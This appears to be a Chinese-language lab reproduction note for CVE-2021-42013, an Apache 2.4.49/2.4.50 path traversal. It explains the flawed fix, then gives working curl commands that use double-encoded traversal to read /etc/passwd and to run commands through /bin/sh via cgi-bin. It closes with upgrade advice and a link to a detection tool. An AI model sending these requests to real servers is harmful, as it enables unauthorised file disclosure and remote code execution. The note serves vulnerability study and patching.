CVE-2021-42013 漏洞原理 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
影响版本 Apache 2.4.49 和 Apache 2.4.50
漏洞复现 启动漏洞环境
curl -v --path-as-is http://192.168.1.192:17273/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:
curl -v --data "echo;id" 'http://192.168.1.192:17273/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.1.192:17273/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
升级到Apache HTTP Server安全版本。
github上已经有这个漏洞的检测工具https://github.com/inbug-team/CVE-2021-42013